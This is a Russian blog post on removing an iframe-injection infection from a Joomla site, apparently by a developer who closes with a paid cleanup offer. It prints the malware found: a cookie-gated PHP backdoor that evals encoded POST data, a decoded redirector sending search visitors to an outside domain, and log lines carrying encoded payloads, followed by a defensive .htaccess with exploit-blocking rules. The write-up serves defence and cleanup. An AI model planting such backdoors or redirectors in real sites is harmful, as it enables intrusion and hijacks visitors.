Статья устарела !!!
Новая инструкция по лечению и удалению вирусов !!!
Писал на тему удаления вирусов из Джумлы и ранее, но вопросов задавали много, поэтому разберу еще один случай со все тем же "iframe write вирусом" другой модификации. В этот раз, тревогу забил клиент, "слишком долго стал грузиться сайт на Джумле". Ни Яндекс, ни Гугл на тот момент вирусов на сайте не находили, версия с вирусом еще не проиндексировалась. Уважаю! Открыв первый попавшийся на глаза js, в конце файла я увидел ;document.write('<iframe src="http://gemexmud…
Далее расчехляем scan.php запускаем и наблюдаем то же самое более 300 js файлов. Картина привычная, я не стал лезть в логи сервера и сразу начал искать eval() и base64 в php файлах. Новый сюрприз. Файлов оказалось больше 50. eval() используют и некоторые стандартные модули Джумлы, но их немного. К тому же подозрительные файлы имели рэндомные названия из букв и цифр. Проверив несколько файлов я убедился, что они заражены. На это указывала инструкция
1 2 3 4 5 6 7 8 9 |
<?php if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){ if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){ echo '<textarea id=areatext>'; eval($msg); echo '</textarea>bg'; exit; }} ?> |
Файлов много, удалять поштучно желания не было, я добавил новую функцию в свой scan.php . И удалял файлы c вирусом таким путем.
1 2 3 4 |
//del if($a) foreach($a as $v){ del_f($v, "msg=@gzinflate(@base64_decode(@str_replace"); } |
Кроме того, в файле одного из модулей mod_flashrotator.php обнаружил вот такой код, привожу фрагмент
1 |
<script type="text/javascript" src="<?php eval ( base64_decode("DQplcnJvcl9yZXBvcnR...skipped...9DQp9")) |
Из любопытства декодировал. А там редиректор траффика. Красивая вещь. Клиент попадающий на сайт через поисковики, редиректится сайт на какой то SMS подписки.
1 2 3 4 5 6 7 8 9 10 11 12 |
error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://site.portrelay.com/"); exit(); } } } |
Все эти включения удалил вручную из файла. Ну а затем, прошелся по всем js файлам, как описано в предыдущей серии. Далее опять некоторые отличия. В настройках веб сервера было указано, не хранить лог файлы. А жаль, наверняка было бы что нибудь, вроде:
1 |
97.115.84.155 - - [18/Feb/2013:11:55:02 +0400] "GET / HTTP/1.0" 200 27343 "" "<?php eval ( base64_decode(\"QGluaV9zZXQoJ...skip... |
Или это
1 2 3 |
80.28.255.205 - - [06/Mar/2013:00:00:16 +0400] "POST /administrator/index.php HTTP/1.0" 303 - "-" "yPSLwyEDBwdQaM" 80.28.255.205 - - [06/Mar/2013:00:00:18 +0400] "GET /administrator/index.php HTTP/1.0" 200 5481 "-" "yPSLwyEDBwdQaM" 80.28.255.205 - - [06/Mar/2013:00:00:35 +0400] "GET /administrator/index.php HTTP/1.0" 200 5210 "-" "rWhZ3DZTF1szNZENkM3I" |
Нет логов и найти уязвимость, через которую залили вирус нельзя. Что можно сделать в таком случае? Поднять версию Джумлы. Она оказалась последней (Joomla 2.5.9). Поднять версию плагинов. Тут я нашел сразу несколько древних плагинов, которые не обновлялись с версии 1.5, включая тот самый flashrotator.
Пункт с обновлением плагинов Джумлы — важнейший! Большая часть вирусов лезет через плагины. Если вы почистили сайт от вирусов, но не обновили плагины высокая вероятность, что завтра же, сайт заразят. Если новой версии плагина нет, то есть смысл поискать уязвимости самому или доверить это дело профи.
И есть еще один пункт защиты, пассивный, через .htaccess . Некоторые варианты уязвимостей можно отсечь таким путем. В документации Joomla указано несколько вариантов, вплоть до самых параноидальных. Но с ними нередко возникают проблемы. Мой вариант выглядит попроще. Он фактически склеен из некоторых мануалов, прикрывает лишь самые одиозные уязвимости. + E-Tag "оптимизация" для статичных файлов
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
## Joomla .htaccess ## fStrange version ## url: https://fstrange.ru/coder/php/joomla-udalenie-virusov.html ## Can be commented out if causes errors, see notes above. Options +FollowSymLinks ## Mod_rewrite in use. RewriteEngine On ## Begin - Rewrite rules to block out some common exploits. # If you experience problems on your site block out the operations listed below # This attempts to block the most common type of exploit `attempts` to Joomla! # # Block out any script trying to base64_encode data within the URL. RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR] # Block out any script that includes a <script> tag in URL. RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL. RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL. RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) # Return 403 Forbidden header and show the content of the root homepage RewriteCond %{QUERY_STRING} \.\./\.\. [OR] RewriteRule .* index.php [F] # ## End - Rewrite rules to block out some common exploits. ######## Begin - File injection protection, by SigSiu.net RewriteCond %{REQUEST_METHOD} GET RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR] RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR] RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC] RewriteRule .* - [F] ########## End - File injection protection ## Back-end protection ## This also blocks fingerprinting attacks browsing for XML and INI files RewriteRule ^administrator/?$ - [L] RewriteRule ^administrator/index\.(php|html?)$ - [L] RewriteRule ^administrator/index[23]\.php$ - [L] RewriteRule ^administrator/(components|modules|templates|images|plugins)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L] RewriteRule ^administrator/ - [F] ## Explicitly allow access only to XML-RPC's xmlrpc/index.php or plain xmlrpc/ directory RewriteRule ^xmlrpc/(index\.php)?$ - [L] RewriteRule ^xmlrpc/ - [F] # RewriteBase / ## Begin - Joomla! core SEF Section. # RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # # If the requested path and file is not /index.php and the request # has not already been internally rewritten to the index.php script RewriteCond %{REQUEST_URI} !^/index\.php # and the request is for something within the component folder, # or for the site root, or for an extensionless URL, or the # requested URL ends with one of the listed extensions RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC] # and the requested path and file doesn't directly match a physical file RewriteCond %{REQUEST_FILENAME} !-f # and the requested path and file doesn't directly match a physical folder RewriteCond %{REQUEST_FILENAME} !-d # internally rewrite the request to the index.php script RewriteRule .* index.php [L] # ## End - Joomla! core SEF Section. ## E-Tag optimization # FileETag MTime Size <ifmodule mod_expires.c> <filesmatch "\.(jpg|gif|png|css|js)$"> ExpiresActive on ExpiresDefault "access plus 1 month" </filesmatch> </ifmodule> |
Вы можете обратиться ко мне за помощью в лечениии сайта.
Стоимость работы всего 800 руб.
Работа займет 1.5 — 2часа.
Вы получаете:
— поиск и устранение вируса и вредоносного кода— устранение уязвимости
— 6 месяцев гарантии
Контакты
Свежие комментарии